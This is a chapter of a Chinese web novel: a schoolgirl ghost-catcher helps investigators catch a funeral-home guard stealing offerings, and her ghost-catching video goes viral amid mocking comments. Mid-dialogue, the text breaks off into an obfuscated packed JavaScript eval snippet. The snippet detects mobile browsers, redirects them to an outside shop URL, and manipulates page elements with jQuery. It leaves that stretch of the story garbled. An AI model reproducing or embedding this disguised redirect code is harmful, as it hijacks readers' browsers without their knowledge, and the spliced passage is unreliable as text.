“第一次，可以不收你们的钱。”南溪收回手机。


    时锦州：“你能确定就是今晚吗？”


    这已经是他们第三次问这个问题。


    南溪耐心点头：“是的，你们可以去蹲守，不是有句话说的是宁可信其有，不可信其无，这是一个机会，抓现行的机会。”


    这话不假，源头没有思路，只能从这里入手。


    就算消息是假的，他们也得走一趟。


    “至于有没有鬼参与其中……我得去现场看看。”南溪说出这句话的时候，其他两个人感觉十分割裂。


    以后十几岁小姑娘能如此淡定的说出这话，意料之外。


    “现在？”


    南溪打量着这里，“明晚吧，我明早还要上学，不能熬夜。”


    崔岩：“……”割裂感更深了怎么解？


    时锦州倒是缓过来了，笑着问道：“姑娘你是在哪里读书啊？”


    “临安一中。”


    “哦，这么巧？”


    南溪抬眼望他。


    时锦州：“我侄子也在这里上学，说不定你们还认识呢，他在这方面也挺厉害的，以后有机会，你们可以见见面，交流交流。”


    南溪没问哪方面，她对时锦州的侄子不感兴趣，对交流也兴致缺缺，她敷衍的点了点头，“那就祝你们早点抓到小偷，先走一步。”


    看来是真困了，边往外走还边打哈欠。


    崔岩愣愣地看着空荡荡的门口，扯了扯嘴角，“现在的小孩真不得了。”


    话说他也才二十多岁，就已经跟不上现在小孩的脚步了。


    代沟感袭来，崔岩五味杂陈。


    时锦州瞥了他一眼，冷笑：“行了，有时间在这伤处悲秋，不如抓紧时间去开车。”


    “啊，去哪？”


    时锦州叹了一口气：“云岗，抓人。”


    ——


    第二天一大早，南溪就接到崔岩的电话。


    那边已经抓到了偷供品的人，缴获了不少供品。


    这人也不是别人，而是殡仪馆的保安老张，有钥匙，有条件。


    “殡仪馆负责人之前也猜过是内部人员干的，可是没想到会是保安。”


    崔岩是这么说的，说来，这保安还算是负责人拉进来的，有点沾亲带故的关系，大家都没往这方向想。


    “其实这事可以让警察来办。”南溪不明白，警察不比他们查案专业？


    “本来最开始就是报了警的，后面怀疑有鬼参与之后，就转交到我们这里了。”


    南溪顿了顿：“所以……”


    那边的崔岩咳了一声，“据老张交代，监控晚上经常会黑屏，所以才钻了漏洞。”


    我们老大觉得这是因为殡仪馆阴气太重，影响了馆内的磁场，导致监控失效。”


    南溪：“这样啊。”


    有点可惜是怎么回事。


    崔岩听出了，紧接着道：“不过我们老大说了，奖励你的一千块钱过几天会如数转给你，而且……以后如果有需要，我们会联系你下单的。”


    南溪这才笑起来，“这样也行，另外我有一个问题。”


    崔岩：“你问。”


    “鬼在轮回办取完号，有什么办法能提前点吗？”


    崔岩：“……”


    他现在相信这姑娘不简单了。


    “你的意思是想走个后门？”


    他语气里充满了不确定以及不可置信。


    南溪满意的说道：“也不算是走后门，这只鬼以前是个小偷，死了变成个偷鬼，经常偷人家里的吃食。”


    “他在买供品的老刘家待了很长时间，算是损了老刘的生魂。”


    也算是扰乱人间秩序了吧。


    听完，崔岩懂了其中的严重性，偷鬼偷东西，这里偷偷，那里偷偷，可能不会对人的生活有影响，但是长期在一处，那就会影响的人家气运，影响到生魂，说明已经影响很深了。


    “我会跟老大说明情况，这鬼很大概率会升天梯。”


    “升天梯？”


    “就是走后门的意思，我们报给轮回办后，由他们决定提不提号。”


    挂了电话，南溪想了想，这很大概率成了。


    结算了一下成果，骗奶奶的无良商家被抓，自己也收获一千块钱自由使用金，小赚。


    ——


    期末考试周。


    南溪坐在座位上懒洋洋的看着面前的书。


    上面的英文仿佛天书一样映在南溪的眼光里，可就是这么也记不进脑子里去。


    突然，前排的杨牧伸手拍了拍南溪的桌子。


    南溪回过神，抬眼看他。


    杨牧伸手示意了前门。


    南溪看过去。


    这才听见张扬洪亮的声音在叫她，手舞足蹈的朝这边招手。


    全班都朝她这边看过来。


    看情况，估计已经在了很久了，可她没听见。


    她站起身，暂时停止和英语书的battle。


    “溪姐，我跟你说个好消息，那条视频爆了。”


    南溪迎面走来，张扬就兴冲冲地开始叫唤。


    南溪拽着他的袖子往外走了几步，等将全班的视线都隔开了，才放开。


    “视频？什么视频？”


    张扬提醒，“就你的账号发的视频啊，那只碰瓷鬼的视频。”


    说着四处看了看，确定没有老师之后，悄悄拿出手机打开视频给南溪看。


    视频发了两三天没水花，这两天突然爆了。


    “估计是之前凑热闹的人看见了，帮着转发，现在点赞快突破十万了。”


    十万，听上去倒是挺多。


    南溪接过手机，9.6万赞，评论也有好几千，粉丝直接突破一万。


    南溪随手点开评论划拉几下，然后瞥向张扬，“也不知道你兴奋个什么劲。”


    评论里大多数都在说他们骗人，用特效装鬼，手都划拉酸了，也没见一个人认为这是真的。


    [什么玩意儿，装神弄鬼的，现在的AI门槛真是低。]


    [相当灵异博主，麻烦移步小铃铛直播间看看，那才是正儿八经的抓鬼。]


    [现在的灵异博主，为了流量没下限，大白天抓鬼这不闹笑呢？]


    [小姑娘年纪不大就会出来招摇撞骗了，真当网红这碗饭好吃呢？]


    没一句好话。


    但是这并不影响张扬的情绪。


    “这些都是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073692|193359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可以忽略的，有人看有人评论就是成功的第一步。”张扬继续，“那些百万粉丝的灵异博主哪个一开始没被骂过，现在那不都是风风光光的，动辄几十万几百万点赞。”


    “而且上面也不单单是骂的，还有很多好的评价。”张扬往下翻了翻，废了点时间才找到。


    [啊啊这女生好好看，脸嫩嫩的好像rua。]


    [这脸和她的行为也太反差了吧，盯着这张脸，面无表情的徒手撕人头盖骨，居然感觉萌萌的。]


    [真假先不说，就她卸胳膊那个流利度，真的是帅翻了，我先关注了，以后火了我就是老粉。]


    “看，也有喜欢你的。”


    南溪皱眉：“萌萌的？”


    “额，就是说你好看的意思，当人有反差他们就会这么形容。”张扬笑了笑，知道南溪喜欢装酷，没点破。


    “可你说真有人会找我抓鬼？”南溪后来质问张扬为什么改她简介。


    张扬解释是她改的简介太不符合这个时代了，没网感，没有人下单。


    现在的人就算没有鬼，也会有闲着蛋疼的网友好事下个单。


    “肯定会，现在你粉丝量够了，我回去就帮你把店铺开起来，小黄车挂上，总有那么几个喜欢凑热闹的下几单的。


    “行吧，你自己看着办。”南溪摆摆手，明显是不想多费精力在网络运营上，张扬说道各种网络营销策略还有什么市场分析太复杂，听了头疼。


    “上课了，干嘛呢你俩？”远处传来脚步声。


    张扬头皮一紧，十分迅速流利地将手机藏进包里，转头就看见肖胜虎往这边来，拿着他那标志性的保温杯，咯吱窝里夹着一本书。


    “哟，这不是楼上的嘛，你们老班最近可好啊？”


    张扬扯了扯嘴角，两个班主任就在一个办公室，还问他好不好，明显话里有话。


    “挺好。”


    “我刚看他上楼了，你们还不上课？”


    张扬脚底一虚，“上的，那个……老师我先走了。”


    说着一个箭步，还不等加速，就跑远了。


    看着背影，就好似后面有鬼在追。


    肖胜虎笑了笑，看向南溪：“感觉你最近变了很多。”


    南溪站定，虽不像张扬那样害怕，但骨子里还是有些收敛，“是有一点。”


    “现在这样就很好，以前还是太沉闷了，不像个少年人。”


    南溪记忆里，原主就是闷闷的，不说话，肖胜虎一开始还关注着她，想让她活泼起来，找了话多的学生跟她做同桌，后来不管用，也就歇了心思。


    肖胜虎见南溪不说话，继续道：“不过也要注意分寸，现在是关键时期，还是要以学习为重，其他的，先放一边，听到了吗？”


    嗯？


    南溪顿了顿，反应过来，他可能误会了什么。


    “老师，我和张扬……没啥。”南溪一脸一言难尽，还有十分明显的嫌弃。


    可能刚刚过来的时候，他们凑着手机看，确实显得近了那么一点，但是不至于。


    肖胜虎看着南溪嫌弃的表情，哈哈地笑了起来，看来是真的看岔了，他伸手一点一点的指着南溪，摇头笑道：“你啊，知道就好，走了，上课。”